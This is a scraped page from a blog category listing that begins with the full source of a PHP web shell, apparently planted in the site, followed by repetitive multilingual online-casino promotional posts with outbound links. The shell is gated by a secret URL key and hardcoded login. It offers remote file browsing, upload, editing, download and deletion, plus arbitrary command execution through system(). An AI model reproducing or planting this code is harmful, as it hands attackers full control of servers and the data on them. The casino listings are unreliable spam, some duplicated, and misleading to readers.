if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 4 – collectives.berlin

Your digital paradise.

Category: public

  • Promozioni e bonus nei casinò online: guida alle opportunità del 2026

    Nel mondo dei casinò online, le promozioni e i bonus rappresentano un elemento fondamentale per attrarre e fidelizzare i giocatori. Nel 2026, l’offerta di queste opportunità è particolarmente ricca e varia, permettendo agli utenti di scoprire https://browinner.co.it/ strategie innovative per massimizzare il loro divertimento e le loro possibilità di vincita. Questo articolo esplorerà le diverse…

    Click or not…

  • Promozioni e bonus nei casinò online: guida alle opportunità del 2026

    Nel mondo dei casinò online, le promozioni e i bonus rappresentano un elemento fondamentale per attrarre e fidelizzare i giocatori. Nel 2026, l’offerta di queste opportunità è particolarmente ricca e varia, permettendo agli utenti di scoprire https://browinner.co.it/ strategie innovative per massimizzare il loro divertimento e le loro possibilità di vincita. Questo articolo esplorerà le diverse…

    Click or not…

  • Explore live tables at Harry Casino: the ultimate experience for online players

    Online casinos continue to revolutionize the gaming experience, and live tables are at the forefront of this evolution. For players seeking an authentic atmosphere combined with the convenience of online gaming, Harry casino offers a compelling choice. With more than 11,000 casino games, including a vast array of live tables, Harry Casino ensures players have…

    Click or not…

  • Get ready to play: a beginner’s guide to Lolajack Casino Canada in 2026

    As the online gaming landscape continues to evolve, casinos are redefining how players experience gambling from the comfort of their own homes. In 2026, new players can expect a wealth of options, innovative games, and exciting bonuses, including the chance to explore the Lolajack Casino betting site, which offers unique promotions that enhance your overall…

    Click or not…

  • Casino med snabba uttag 2026: spela tryggt med Swish och Trustly

    Det svenska online casinot har genomgått en revolution i hur spelare hanterar sina pengar. År 2026 ser vi en ökning i popularitet för betalningsmetoder som Swish och Trustly, som möjliggör snabba uttag och insättningar. Genom dessa metoder kan spelare njuta av en sömlös upplevelse med snabba transaktionstider, vilket är en stor fördel jämfört med traditionella…

    Click or not…

  • Die besten Live Casino Erfahrungen: Was Beste Online Casinos Österreich bietet

    In der Welt der Online-Casinos hat sich in den letzten Jahren einiges getan. Spieler suchen nach spannenden und sicheren Plattformen, die sowohl Unterhaltung als auch faire Gewinnchancen bieten. Live Casinos bieten dabei eine einzigartige Erfahrung, die es ermöglicht, echte Casinospiele bequem von zu Hause aus zu genießen. In diesem Artikel werden die besten top online…

    Click or not…

  • Die besten Live Casino Erfahrungen: Was Beste Online Casinos Österreich bietet

    In der Welt der Online-Casinos hat sich in den letzten Jahren einiges getan. Spieler suchen nach spannenden und sicheren Plattformen, die sowohl Unterhaltung als auch faire Gewinnchancen bieten. Live Casinos bieten dabei eine einzigartige Erfahrung, die es ermöglicht, echte Casinospiele bequem von zu Hause aus zu genießen. In diesem Artikel werden die besten top online…

    Click or not…

  • Die besten Live Casino Erfahrungen: Was Beste Online Casinos Österreich bietet

    In der Welt der Online-Casinos hat sich in den letzten Jahren einiges getan. Spieler suchen nach spannenden und sicheren Plattformen, die sowohl Unterhaltung als auch faire Gewinnchancen bieten. Live Casinos bieten dabei eine einzigartige Erfahrung, die es ermöglicht, echte Casinospiele bequem von zu Hause aus zu genießen. In diesem Artikel werden die besten top online…

    Click or not…

  • Miksi valita Spinfin? Turvallisuus ja nopeus pelaamisen keskiössä

    Verkossa pelaaminen on kasvanut viime vuosina huomattavasti, ja monet pelaajat etsivät luotettavia ja turvallisia alustoja. Spinfin tarjoaa suomalaisille pelaajille laajan valikoiman pelejä ja yksinkertaisen rekisteröitymisprosessin, joka korostaa turvallisuutta ja nopeutta. Esimerkiksi spinfin-casino.fi tarjoaa houkuttelevia bonuksia ja erinomaisia pelimahdollisuuksia, jotka tekevät siitä hyvän valinnan. Kuinka online-kasino rekisteröityminen toimii uusille pelaajille Online-kasinoiden rekisteröitymisprosessi on usein nopea ja…

    Click or not…

  • Mostbet и его бонусы: что ждет игроков в 2026 году

    Онлайн казино стало неотъемлемой частью игровой культуры, и многие игроки ищут надежные платформы, чтобы наслаждаться азартными играми. На фоне растущего интереса к онлайн-беттингу, казино mostbet предлагает различные бонусы и акции, которые обещают улучшить игровой опыт. В 2026 году ожидания игроков будут высоки, и мы рассмотрим, что может предложить платформа для своих пользователей. Почему стоит обратить…

    Click or not…